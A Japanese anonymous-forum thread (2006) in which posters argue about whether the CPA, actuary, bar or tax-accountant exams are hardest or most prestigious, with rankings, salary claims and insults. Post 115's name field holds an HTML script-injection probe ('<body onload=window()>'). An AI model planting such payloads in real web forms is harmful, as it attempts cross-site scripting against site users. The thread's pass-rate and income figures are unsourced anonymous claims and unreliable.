会計士試験断念して今は税理士に鞍替えしたのか

>二流私大文系の学生が大半の会計士試験
では↑去年の合格者出身大学上位10校貼ってくれ
いいか絶対貼れよw

108 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 21:30:10 ID:???
>>107

  早稲田大学   35名(31名)
  慶應義塾大学  29名(33名)
  中央大学     17名(26名)
  同志社大学   15名(12名)
  立命館大学   15名( 9名)
  明治大学     13名(23名)
  日本大学     13名(17名)
  東京大学     12名( 6名)
  法政大学     11名( 8名)
  専修大学     11名( 6名)

受付都道府県別合格者数(不動産鑑定士)



109 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 21:34:19 ID:???

不動産鑑定士のデータのようですが・・・

110 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 21:43:43 ID:???
>>105
工場どれくらいできた?

111 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 21:55:29 ID:???
会計士試験の場合、出題範囲はあってないようなものだから難しい論点が
出題されても大抵埋没になる。だから基本的な論点がキッチリ押さえられて
さえいれば合格点に到達する可能性が高い。
そういう意味で難しい問題は解けなくても受かる。
つまり水平方向に広く垂直方向に浅いという性格がある。

一方大学入試は出る範囲はカッチリ決まってるから難しい問題が解ける
受験者層とそれに及ばない受験者層に階層的に分かれていく傾向にある。
こっちは水平方向には狭いが垂直方向に深いという性格があるだろう。

こういう試験の性格的な差はあるから一概に比較することは出来ないが、
大学受験はあらゆる高校生が受けるのに対し、会計士試験は一部の会計士に
なりたいと思う人のみが受けるから母集団は大学受験の方が大きい。
つまり、競争は大学受験の方が激しい。

そういう意味では大学入試の頂点と言われる東大入試の方が難しいと考えられる。

112 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 22:04:08 ID:???
灯台生の会計士試験合格率20%だし微妙なとこだな。

113 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 22:08:52 ID:???
初耳だ。
そんなに低いのか。

114 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 22:59:37 ID:???
会計士なんて中央、明治、同志社あたりの三流大学でも受かっちゃうからな。


115 :<body onload=window()>:2006/08/28(月) 23:07:59 ID:???



116 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 23:21:43 ID:???
>>114
弁護士だってそうなんだが・・・

117 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 23:27:23 ID:???
東京一でも会計士試験は2回目くらいで合格する人が多いらしい。
っていうか平均がそのくらい。


118 :一般に公正妥当と認められた名無しさん:2006/08/29(火) 02:10:42 ID:???
まあいつまでも学歴にすがるのはやめようぜ
京大卒業しておきながらリストラされた我が父親を見てると・・・

119 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 14:13:32 ID:???
会計士>アクチュアリーってないだろ。
アクチュアリーって東大京大レベルの理系が受ける試験。
はっきり言って弁護士よりも上。文系じゃ話にならない。
スタートラインが違う。
逆にアクチュアリーの受験生なら、会計士の経済や統計学は楽勝だろ。

120 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 17:36:11 ID:8HsgFGez
まあなにをもって上って言うかにもよるがね。一般人でアクチュアリーなんて分かる奴いないだろうし。

121 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 17:38:44 ID:???
文系人間からみたらアクチュアリーの試験はバリバリ数学使うわけだから難しいのは当然だわな
で、会計士の場合、イギリスでは社会的地位において会計士>弁護士という風土があるからこういう議論ができる
だがアクチュアリーはそこんとこどうなんだろうか アクチュアリーの社会的地位が弁護士よりも高いような国があるんだろうか

122 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 18:20:41 ID:???
>>119
ここで、アクチュアリー受験生が来ましたよ。
統計学はアクチュアリーのほうが難しい。
経済学は会計士のほうが難しい。

間違いなしに、会計士>アクチュアリーです。
アクチュアリーなんて、範囲が狭いよ。
っと思ってたら、すでにレスしているやつが上にいるじゃないか。
統計学なんて、あんなの数学じゃないよ。暗記でOK。
確率論はアクチュアリー試験でさえ、大学2年程度。
ちなみに、会計士のサンプル問題は全部解けた。
今年の問題はまだ見てない

ちなみに、数学は合格している。
今年は経済・投資・会計を受ける。

来年、会計士受験だから、あまり力はいれられない。

ちなみに、おれは研究者くずれの国立院卒

123 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 18:58:04 ID:z9dDoVWN
中国清末、太平天国の最高指導者。花県(広東(カントン)省)の人。自らをエホバの子であるとして、上帝会を組織。一八五一年、挙兵して自ら天王と称し、国名を太平天国とした。南京を攻略して都としたが、内紛を起こして清軍に敗れ、南京陥落直前に病死。
1814-1864) 太平天国の指導者。キリスト教の影響を受け上帝会を創始し、信徒を集めて挙兵。国号を太平天国とし、天王と自称。南京を都(天京)としたが、内訌(ないこう)を生じ、天京陥落直前に病死。
当時中国では科挙という官僚試験が行われ、その難易度は現代のはるか上だったらしい。
年齢制限もなかったので70歳以上の老人まで受験していたというから驚きだ。
彼もまた科挙を目指したが幾度となく挫折。そして至ったのはその制度そのものを破壊して自らが制度を作ろうとしたのであった。
日本の洪秀全となる救世主はいつ現れるのか?
次こそは盛大なる太平天国を作ることは可能なのか?
野望の高い諸君達ならばそれも可能であるのか?

124 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 19:24:10 ID:???
やべ 経済学は会計士のほうが難しいのか
選択してしまった・・・

125 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 19:45:41 ID:???
会計士の経済は年によって難易度に大きな違うがあると思う。
それこそ試験委員の趣味で。
04年は難問で得点率5%でも合格者続出。05年は平易な問題が多かった。
今年は知らん。

会計士試験の場合、難問が出たところで埋没になるという性格があるから
アクチュアリーとかと単純比較はできないんじゃね?

126 :122:2006/08/30(水) 22:04:45 ID:???
>>124-125
ごめん、言い忘れた。
アクチュアリーは1科目の中に会計・経済・投資理論と3つの科目が含まれているためか、
毎年、超ベタベタな論点ばかり。だから、簡単。
昔の会計・経済だった時の過去問題(平成元年)投資は入ってないが・・・
平成元年会計・経済(アクチュアリー)
http://www.actuaries.jp/examin/books/123-k.pdf
簡単でしょ?これに対して、
平成18年度経済学(公認会計士)
http://www.crear-ac.co.jp/sogo/BW_Upload/keizai_mondai.pdf

では、次。比較。統計・確率論

平成元年数学(アクチュアリー)
http://www.actuaries.jp/examin/books/123-s1.pdf
http://www.actuaries.jp/examin/books/123-s2.pdf

平成18年度統計学(公認会計士)
http://www.crear-ac.co.jp/sogo/BW_Upload/tokei_mondai.pdf

これはどうみても、アクチュアリーのほうが難しいよね。

つうか、何だよ。公認会計士。超簡単wwww

127 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 22:09:17 ID:???
アクチュアリーの会計は会計士受験生にとっては会計でないなw
まぁ何がメインかの違いかね。

128 :126:2006/08/30(水) 22:22:43 ID:???
>>127
ですな、あくまで、年金・保険計算のための数学なので、会計士より難しいのは当たり前。
だけど、範囲は狭いのです。(受からない人は一生受からないと思いますが)

126で超簡単とか煽るようなことを書きましたが、私は例外だと思います。
正直、統計学に詳しい人は東大卒だろうとなんだろうと、日本人では少ないです。
(高校までは平均くらいしか、ろくに教えないため)
一応、私は確率論を応用したシミュレーションを仕事としていましたので・・・
(学部から足掛け5年)5年も確率・統計ばかり、本気で勉強していたら得意になるわけで・・・

でも、満点ゲットは何人かいると思う。

129 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 22:27:26 ID:???
アクチュアリーと会計士両方とってどんな仕事するつもりなの?

130 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 22:59:19 ID:???
アクチュアリー講座って全部で30回くらいしか無いじゃん
会計士講座の350回+答練と比較するとボリュームが無さ杉でしょ

131 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 23:20:27 ID:???
会計全般試験@2ch掲示板 ローカルルール
■学歴、地位、序列等の話題については【学歴板】又は【格付け板】へどうぞ
■全ての者への煽り、誹謗、中傷等を目的とした書き込み及びスレッドを立てる事は禁止です
■上記違反、その他荒らし等に対しては一貫して無視をするという方針にご協力をお願いします
学歴
http://tmp6.2ch.net/joke/
格付け
http://ex13.2ch.net/ranking/



他人の掲示板のルールが守れないなら、自分で掲示板を作ることをお勧めします。



132 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 23:23:11 ID:???
>>130
ヒント

会計士予備校は丁寧に説明するから講義回数が多い。

アクチュアリーはそもそも予備校がない。

133 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 23:30:52 ID:???
いや350と30て、丁寧だからどうとかいうレベルちゃうやろ・・・。
まあ質(難解さ)ならアク、量(範囲)なら会計士って感じなんだろう。

134 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 23:37:08 ID:???
アクチュアリーもテキストだけなら、5科目で2000ページを超える

何も知らないのならレスするな

135 :一般に公正妥当と認められた名無しさん:2006/08/30(水) 23:46:07 ID:???
TAC財表は1200ページだぞw

136 :122:2006/08/30(水) 23:51:06 ID:???
>>133
アクはですねえ。
一応、講座はありますけど、あれは会計士でいえば入門講座なんですよ。
もし、本気で予備校でやろうと思えば、

会計士予備校が統計学で20回くらいの講座ですから、
アクだと、30回と仮定して、

合計150回は少なく見積もっても必要だと思いますよ。
数学はみんな結構、簡単に通るのですが、保険数理や年金数理が実は難しいのですよ。

137 :122:2006/08/30(水) 23:55:08 ID:???
>>135
134ではないですが・・・

アクチュアリー試験は全部、基本書なわけですよ。
しかも、これくらいのことはわかっているだろうという勢いでテキストが
書かれていますので、1科目あたり、300〜400ページくらいのテキストで済むわけです。

ま、会計士よりは簡単ですよ。半分くらいの勉強時間で済むと思います。
一生数学や保険数理に受からない人もいると思いますが。

138 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 00:01:25 ID:???
原計をオカキヨの本で勉強するようなもんか
予備校が無いと大変だな

139 :122:2006/08/31(木) 00:01:28 ID:???
なんか荒れてきたので、私からはアクチュアリーの話題はここでやめることにします。

失礼しました。


140 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 00:06:17 ID:???
>>137
>一生数学や保険数理に受からない人もいると思いますが。
これが厳しいな。

アクチュアリーも科目合格制みたいだし、たちの悪い税理士試験みたいなものか・・・


141 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 00:10:58 ID:???
年金数理
http://www.actuaries.jp/examin/books/123-ns.pdf
5択だから簡単だと見せかけて・・・これはひどい・・・

142 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 00:30:11 ID:???
弁護士とか会計士やらアクチュアリーやら
おまえら序列付け好きだな。
受かったらそれこそ鑑定士以上の資格なら
どれでも対したもんだろ。
受からなければ、結局上にでてる話の高卒の従兄弟以下だぞ。


143 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 00:39:35 ID:???
>>137
だからそれは東大京大旧帝、早計くらいの理系の人にとっては、
楽ってことだよね。
普通の文系なら、会計士の方がどう考えても楽。

144 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 01:36:03 ID:???
すばらしく、オタクだらけなアクチュアリー
http://www.actuaries.jp/examin/voice.html

145 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 03:11:10 ID:g/Csk0Im
税理士という資格はもともと税務署退職者の受け皿の為の仕事だろ?
それを民間にも開放したから問題が発生したんだろうな。
普通は外国を見ても税理士という資格自体日本や韓国とかしか存在しない資格だろ?
そうゆう仕事は世界を見ればみな会計士がやってるわけだ。
だから税理士という資格自体を廃止にして税務署退職者への優遇措置をなくすべきなんだがな。
税務署退職者や学卒免除とか五科目合格とか税理士といのは成り立ちそのものがおかしいから試験制度もおかしい。
しかしひとつだけ言えるのは税理士は税務署退職者が増加する今後、普通の人の受け皿が減少し、尚且つ業界の景気も衰退傾向にあるということだ。
税務署退職者の無条件になれる人口は増加傾向だから、試験合格組は減る。どちらにしても税理士は増加し、業界も飽和傾向。
会計士も監査法人以外は税理士と似たような仕事だし、増加傾向にある。
この手の業界は飽和が今後更に加速し、厳しくなるだろうな。
まあどんな業界でもおいしい時期が過ぎれば飽和していくのが世の常だが、この業界はそれが顕著だということだ。
と まあ君ら割に合わない努力をしている人がいるからこそ僕らのような勝ち組が存在するわけだが。
寡頭競争は杓子定規に人の作った線路を一生懸命走ることしかできない奴らの典型だろうな。
自分の頭使って生きてみろよ。君らは自分の頭を人の作った理屈を覚えて試験に受かる為だけに使っているんだろ。
試験に受かって救われるといいな。まあ頑張れ。線路も楽しいだろww

146 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 03:30:58 ID:ijRu3kLE
そのあなたのような勝ち組はこんな時間に何をなさっているのですか?

147 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 13:16:51 ID:0Qz4hkCN
>>18>>75に1の頭の悪さが凝縮している

148 :J理士 ◆9aTd7uWvt2 :2006/08/31(木) 13:44:11 ID:???
>>145
言ってることは一部正しい。特に制度の成り立ちは。
でも、団塊世代のOBが大量に税理士になったところで、別にどうということはない。
使えない年寄りはあまり意味ない。お達者クラブの一員が増えたところで…
特にあちら側にいた人間がこちら側でそうそう商売できるとも思えない。客も馬鹿ではない。
もっとも虎の衣をかりたいと幻覚を持っている人は惑わされるかもしれない。
いずれにしろ、会計や自分の専門以外の税法を知らない人は役に立たない。もっとも、OB
は組織(あの高卒兵隊組織)があり互助会のようになっているからややこしい。
まあ最近は客の要求レベルも高くなっているのでそんなに簡単に衰退するとも思わない。
差別化すれば大きく成長できると思う。
それに税理士業界の仕事って、そうそう外から参入して儲かるにはリスク大きすぎ。友人の
弁護士はんよう言うてはりますよ「そんなにリスク大きいのにそれくらいしか稼げへんの?」
ってw


149 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 13:50:42 ID:???
国税OBに「中小企業の会計に関する指針」に準拠した財務諸表を作成できるかな?

150 :J理士 ◆9aTd7uWvt2 :2006/08/31(木) 14:46:34 ID:???
スーパー台風接近中!
ttp://www.npmoc.navy.mil/jtwc/warnings/wp0106.gif

151 :一般に公正妥当と認められた名無しさん:2006/08/31(木) 18:11:24 ID:???
>>148
そもそも、税理士によって能力に大きな差があるの?
税理士の違いで税金の額が2割違うとか、そんなことがあったら訴訟だらけだと思うのだが。

152 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 01:28:56 ID:Wx1j1QtX
監査法人 パートナーまで出世した者の生涯年収

3億4000万円

三菱商事、東京海上の生涯年収

5億2000万円



なんじゃ、この差は!?

153 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 01:35:14 ID:???
>>126
正直高校数学すら怪しい人間ですけど、、、
経済学は数学の応用、統計学は数学そのもの、ってことで
理系にとっては経済学の方がとっつきにくいかもしれないが、
使ってる数学のレベルは統計学の方がずっと上、という認識で
よろしいですか?
現段階で数学ダメだけど、1から勉強しなおして、経済学で
トライしようかな?と考えております。その方が早道だったりするの
かなと。

154 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 01:48:35 ID:???
数学のできる人にとっては、統計学が一番楽勝みたいだけど、
そのできる・・・という前提はどれくらいのレベルなんだろうか?

155 :126:2006/09/01(金) 03:10:11 ID:???
>>153
学問として、どちらの数学のレベルが高いかって言われても、何とも言えない。
経済学だと、元々は数学者でノーベル賞を取る人もいるわけで・・・そんな場合は高度ですよね。
統計学はですねえ。どちらかといえば、応用数学でして、確率論を理論のベースとしてその上に
統計学があると思ってもらっても、間違いではないです。

あくまで会計士試験で考えると、当然、統計学のほうが要求される数学のレベルは高いです。

でも、もし私が数学が苦手だとしたら、経営学を選ぶと思いますよ。
数学は良い本を選ばないと、勉強するのに時間がかかりますから。
あえていうなら、大学受験予備校の参考書をおすすめします。

>>154
今年は極論を言えば、高校2年で習う初歩の微積分+確率だけで大丈夫だったと思いますよ。

でも、予備校の授業についていくには、理系高卒程度の微積分+確率の知識は必要かと思います。
理想としては、大卒程度の数学の知識。偏微分や重積分、あと出来れば行列の知識がほしいですね。

来年以降はどうなるんでしょうね。
現状だと、統計学は一度勉強するとなかなか忘れないので、楽勝というよりも時間がかからなくて
済むのですよ。経営学の半分くらいで足りるのではないでしょうか?
しかし、統計学は独特な考え方のところがあって、その考え方を受け入れることができないと、足かせに
なってしまう可能性もあります。なので、全く統計学を知らない人にはおすすめしません。

実際、理系の院生でもあいまいなところが受け入れられないとか言っている人もいますよ。

私の個人的な意見ですが、統計学なんて数学じゃないと思ってたりしますけどね。(結局は分布の暗記)
学者で統計学が嫌いな人は確率論に走る傾向があったりします。

156 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 03:30:38 ID:???
なるほど、あくまでも理系、しかも大卒レベルなら
楽ってことで、一般人が統計学に足を踏み入れたら
かえって火傷、泥沼に嵌りかねん、ってことですかね。

私立文系は無難に経営学を選ぶべきなんですかね。

157 :126:2006/09/01(金) 03:37:20 ID:nQe2iY+9
うーん。
t検定、F検定などの統計処理(パソコンとかで)をしたことがあって、
高校2年程度の微積分が分かるなら悪くはないかもしれない。

158 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 08:49:07 ID:???
理系にとっちゃ会計士ってそんなに魅力的じゃないだろうし、
数学家の連中にとってはアクチュアリーですら、妥協、落ちたってイメージ
持ってるみたいだから、あんまり会計士試験に来ないことを
祈る。

159 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 10:13:19 ID:???
>>1
ちょっと考えればわかることがわからないんだね。

司法合格者は確かに増えるし現行試験に比べて難易度は下がるだろう。
しかし一流ローに入らないと弁護士にはなれないような状況になる
のは間違いない。
司法合格者が増えるということであれば一流大生→一流ローへの競争が激化
するだろう。マーチ卒なんかローじたいに入れないようになる。
経済的な基盤もないと難しいので医学部化になると思われる。
比較的楽にローに入れるのは「今」だけ。

あと独占業務の範囲が変わらないかぎり社会的な地位は今後も
弁護士>>>会計士はゆるぎない。
「お金をもらってできる仕事の範囲」を会計士と弁護士で比較してみればわかること。
その資格に付与される権限があまりにも違うわけ。
範囲でいったら会計士は司法書士、鑑定士、税理士、社労士とあまりかわらん。
そもそも日本では大企業が少ないし。

ただ弁護士の仕事は地味できつくしんどいけどね・・・



160 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 11:40:20 ID:???
東大法では、普通なら司法断念組レベルがどんどん
司法に流れているようだ。一流大学出身者の
数、比率がさらに増えたとしても、中身は落ちるんだよ。
ちょっと考えれば分かること。

新司法試験の東大卒の大半<<<<<現行のマーチ合格者ってことさ。

161 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 12:25:14 ID:???
>>ただ弁護士の仕事は地味できつくしんどいけどね・・・
これはあたってるw
司法書士の仕事の方が楽そうでいいなと思うときがある

162 :J理士 ◆9aTd7uWvt2 :2006/09/01(金) 15:19:17 ID:???
>>151

特にOBの税理士が関与してた先から顧問先が移ってきたら、笑うケースが多い。
会計についての知識がほとんどないに等しい。
現実の惨状は目を覆うばかりw
だからこそ、きっちり仕事をすれば自ずと道はひらける。

セカンドオピニオンをとり辛いのは、まず、コスト。それとセカンドオピニオンをとる
香具師が度窮鼠かもしれない、というリスク。
自分ちの計算書類が悲惨な代物ということを知らないのは社長&度窮鼠先生。
世の中の現実ですw
じゃあT○Cか!ということに短絡的に走ってはいけません。T○Cは会計や税法をきちん
とフォローしてくれますが、使う先生のレベルは千差万別。妙に気合の入った一人よがりの
先生が多すぎ。
今回監査論まじめにはじめて(恥ずかしい)勉強したが、巡回○査は飯塚さんが提唱した
ほんまもんの監査からみたら…
会計士はんに笑われるのも仕方ないと思う。

163 :J理士 ◆9aTd7uWvt2 :2006/09/01(金) 15:21:47 ID:???
(言い直し)
飯塚さんの理念&実践されていた巡回○査と、いまそれと同じ名前で、監査を知らない
先生が監査を知らない職員さんに行わせてる(以下自粛)


164 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 22:53:12 ID:???
>>1
お前は逝け。世間知らずもいいとこだなwここ数年のM&A騒動で会計士がテレビに出ていたかい?
俺は少なくとも、1回も見たことがない。それより弁護士の方が前面に出てきていた。
マスコミのやることだから、正しいとは限らんのは当然だが、あくまで「世間」という観点からすると

弁護士>>>>>>>>>>>>>>>>>>>>>>>>会計士

だな。それに、粉飾決算騒動では、会計士は評価を下げているのを知らんのかね!?
予備校のテキストではなく、新聞でも読みなさいw

165 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 23:47:42 ID:???
いや、会計士も見たことあるような。ただ、ゲストとしてスタジオで
喋る形式じゃなくて、録画で1分くらいとかそんなんが多いな。

166 :一般に公正妥当と認められた名無しさん:2006/09/01(金) 23:54:36 ID:???
>>164
それはちょっと違うような。
弁護士は自営が多いから、出たがりが多いだけのような気もする。

会計士はサラリーマンですからね。

167 :一般に公正妥当と認められた名無しさん:2006/09/02(土) 00:14:49 ID:???
>>161
地味できつくしんどいって言うなら会計士も似たようなもんではw
まあ弁護士は人の不幸が飯のタネな分余計に精神的ストレスがでかいかもしれんが。

168 :164:2006/09/02(土) 01:11:33 ID:???
なんか最近俺の書き込みにレスする連中のレベルが低いということに気づいた。
以前は、わざと変な書き込みをしているのかと思ったが、165や166を見ると、
本質的に読み取る能力がないんだな。「世間」という言葉の意味合いを全然理解しとらん。

阿部きんや氏(漢字忘れた・・・)なんて知らないだろお前ら?

169 :一般に公正妥当と認められた名無しさん :2006/09/02(土) 09:01:36 ID:8zLLfPhm
>>168
あまり笑わせないように。
wや>>>を付けたりしてる段階でお前も相当なDQN
粉飾決算騒動ってお前、そんなの近所のおばちゃんや小学生でも知ってるわ。
普通の会計士受験生は会計士が弁護士より優ってるとは思ってないよ。

170 :一般に公正妥当と認められた名無しさん:2006/09/02(土) 09:37:33 ID:???
164は世間では早慶は有名だが一橋なんて知られてないから
早慶>>>>>>>>>>>>一橋だ!
とか思ってそうなタイプだな。

171 :一般に公正妥当と認められた名無しさん:2006/09/02(土) 12:16:27 ID:ISPVvZLm
俺も気づいたら35才。
そろそろ真剣に一発何かをやらかしたくなってな。
独学で公認会計士になることにした。
近くの三洋堂で購入した簿記検定3級の本が俺のバイブル。
しかし決算整理仕分けの仕入れ繰越商品の仕分けには理解にてこづったがなんとか力技で解決した。
最初の難関は突破できた。そして秋には3級を取得しようと思う。
新たな伝説の第一歩だ。返す刀で2級も狙う。
人生に目標があるってすばらしいな。俺の生きる減動力だ。
なんとか来年には2級を取得し、公認会計士となる。
再来年には監査法人に入社する予定だが、どこがいいのか正直迷っている。
詳しい方いたらぜひ教えてくれ。今の最大の関心は減価償却だ。定率法は難しいが頑張るぜ。
ライバル達よ。試験会場でいつか会おう。


172 :一般に公正妥当と認められた名無しさん:2006/09/02(土) 12:22:12 ID:???
専門学校いくことを強く勧める

173 :一般に公正妥当と認められた名無しさん:2006/09/02(土) 16:06:50 ID:???
>>171
これの元ネタってどこにあるの?素晴らしい。

174 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 10:07:57 ID:???
                             .,/  _,/      .、、     ...、ヽ,,-、
                           .,,メ-‐'"       _"',|  .、、._,i.""│._、
                      ._,,,/`,イ―''      ,`",l゛、、,,ジ'"`.```.|゛゛
                    .,,,-,i´,―--―''"      、、,!冖'"`、_、,,,/'゜,,."゛l-‐''
       _,,,,,,,,,,,,,、    _,,,,,--''"`'",/゛            、、.',j/′.、,,∠''"` .'_ヽ.',゛l.._,,、
    ,,-'"゛`    `゛゛''lーイ"`     .‐′    _,..,,/ .ヽ、,i,i´ ``゛’   、、シ":"'.「
  .,,i´         `'i、\ ゛!,      ._,-'"ン'` 、、`_,/`,i´ _,___,ニ='" .'゛、゛".゛l,,-'`
 .,/′          `'i,\ ′  .,,,,-',,,,、.,i´、_:_'_v`"゛i、|   ```` `  、_,Jィ""゛l, _,,,,、
: ,i´             ゛l. ヽ丶  .r‐'"、.l゛、、:,p=l┴丶 .!,,!  `'"''''''冖''?'''゛~."""'."'/゛ `
: |,,r                ゛l, 、 i、、、、:,,_,xl!ヴi,、      、、っ,,,,    、`',,,,、`、`、|、
  |、            、"| .i、 lrr-''"゛,,ハ;、-'"゛゛'''''''"丶ヽ.,,冫``~`"`"~"``` `/ `''''
  `''r,,、 、 、、 .、丶、.``ヽ,レ"°  `` .j゜'=∠、````,,,,,∠ ~'ヽ```````、_,r‐'ヘi、
    `゛'ーi,,_、、、、、: :._,,,r〃       "  /^゜"'广  ,/  .,/゛゛゛'''ヶ―''''″   `
       `゛^""""''"'"                `   ′  ′  ."



175 ::2006/09/03(日) 18:10:48 ID:INc2BXre
ここ最近ネットが出来ない状態にあった。
レスはこれからゆっくりつけていく。

176 ::2006/09/03(日) 18:14:03 ID:INc2BXre
>>169
> 普通の会計士受験生は会計士が弁護士より優ってるとは思ってないよ。

劣ってると思ってもいないがな。
同等だと思っている。

177 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 18:15:07 ID:sMgOLqLh
司法受験生の話を聞く限りでは、司法の方が大変だなって感じる

178 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 18:27:47 ID:???
東大京大くらいだと会計士って1発合格もめずらしくないし、
2,3回も受ければ大体受かるって聞く。
でも旧司法は東大京大でもベテって全然珍しくない。
旧司法が圧倒的に難しかったのは確かだろう。
新司法でどうなるかは知らんが。

179 ::2006/09/03(日) 18:42:14 ID:INc2BXre
>>159
> あと独占業務の範囲が変わらないかぎり社会的な地位は今後も
> 弁護士>>>会計士はゆるぎない。
> 「お金をもらってできる仕事の範囲」を会計士と弁護士で比較してみればわかること。
> その資格に付与される権限があまりにも違うわけ。

言葉で言えば確かに公認会計士の独占業務は"監査"だけだが、
市場規模としては大きい。
独占業務に関する市場と資格保有者数の関係でそんなものいくらでも変わるね。

ちなみに、2008年から決算報告が四半期ごとに証券取引法で義務化され、
監査の市場規模は飛躍的に増える。
今までは年1回でも良かった。
東証では既に自主的に年4回にすることを行っていたが、
年3回は公認会計士が監査をする義務はなかった。


180 ::2006/09/03(日) 18:46:40 ID:INc2BXre
>>152
ソースは?
監査法人パートナーは1年で億行く。

181 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 18:54:31 ID:FpzYbZRp
>>179
市場規模は具体的に金額ベースでどのくらい??

182 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 18:59:37 ID:???
市場規模はそんなに大きくないんじゃないかな?
売上も製造業とかに比べると全然少ないでしょ
代わりに利益率が凄いんじゃない?

183 :国T内内定:2006/09/03(日) 19:05:57 ID:5Paj6Uma
弁護士の方が上だよ。なんなのこのスレ?現実逃避?つか、会計士受験生ってプライド高いやつ大杉!
難関なのは認めるけど科目合格制だろ?

184 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:08:00 ID:???
日本の監査報酬の額がアメリカに比べて低いのはよく聞くが、
日本の会計基準が国際会計基準や米国会計基準と違うから、
日本の企業の財務状況がよくわからんとも聞く。事実、ソニーやトヨタは
米国会計基準で作成しているし、三洋電機も、ヨーロッパ(だったかな?)の
証券市場から撤退したものの、F/Sは米国会計基準で作成すると今週の日経の
記事にもあったな。会計士も、グローバル市場で見た場合、競争にさらされるよ。
会計士だけじゃないけどな。

185 ::2006/09/03(日) 19:24:06 ID:INc2BXre
>>183
まあ俺もトータルで弁護士のほうがイイと思ってれば弁護士目指してるけどな。

186 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:24:23 ID:5Paj6Uma
予備校で知り合った会計士受験生が184みたいな話ばかりしてウンザリ!
難しい話を解りやすく話す気が全然ないんだもん。


187 :J理士 ◆9aTd7uWvt2 :2006/09/03(日) 19:28:12 ID:???
司法試験が上だろ常識で考えれば。
数年前盗撮で修習生がつかまったが(高裁の女子トイレにビデオを置いていたとか)
そいつ会計士も先に受かってるから、結局今会計士さんちゃうの?
事件はうやむやにされたが(二度とこの業界に戻らないとの密約???)結局、会計
業界で棲息してるはずやで。
きも


188 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:29:54 ID:???
新司法試験の方が合格自体は簡単かもな。
脚きりが平均未満の試験なんて聞いたことないし。

189 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:31:10 ID:???
別に難しくないだろ、成績表に例えると採点基準が
日本基準だと80点でもUS基準だと60点だったりするから
お前80点ってのはホントかよ?って話
というか監査法人って利益を配当せずにパートナーで分配するから
パートナーの給料が高いんじゃないか?

190 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:37:05 ID:5Paj6Uma
188
じゃあ、受けてみなよ新司法試験。
どうせ非法学部でしょ。未修で3年はハイリスクだぞ!
ヘッ○コ私大の法科大学院に入ったら新司受かるの神業レベルらしいよ


191 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:37:15 ID:???
>>183
確かに会計士受験生は合格してもいないくせしてえらそーにして、結局民間企業に
就職するとなると傷をなめあう馬鹿どもだけど、公務員はもっと始末に終えない。
能力ない癖して、権限もっているからえらそうにしているが、馬鹿丸出し。
論理の矛盾をつくと、「そうなっているんです」の一点張り。ホント、公務員なんか
今の半分以上いらんよ。岐阜県だとか、社会保険庁なんかいらねーよ。
1万歩譲って能力があっても、組織の論理で唯々諾々となる主体性のないやつなんかも
無能と同じだよ。
183さんはそうならないでね♪あと、184の内容はよく聞く話だから、こんなのが難しいと
言っているようでは先が思いやられるね。

192 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:38:09 ID:???
vipperはvipperは一人では何もできない無能な人間。人間と呼称することすら恥なクズ!!!!!!!1
一人では何もできない無能な人間。人間と呼称することすら恥なクズ!!!!!!!1
vipperは一人では何もできない無能な人間。人間と呼称することすら恥なクズ!!!!!!!1
vipperは一人では何もできない無能な人間。人間と呼称することすら恥なクズ!!!!!!!1

193 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:42:11 ID:???
>>190
まだ発表でてねーだろ。23日だろ?
合格率30%の試験というのはかなり簡単に感じるぞ。
今までは合格者出なかったようなあほ大学からも合格者でまくるぞ。
ちなみに国立の法学部の会計士受験生です。

194 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 19:47:15 ID:eXcQOLCa
患者の裸たくさんみるのにどうして看護の人間が全裸でやらないかが
なぞなわけだが。 大量にみるから、全員が全裸でも見飽きるわけで
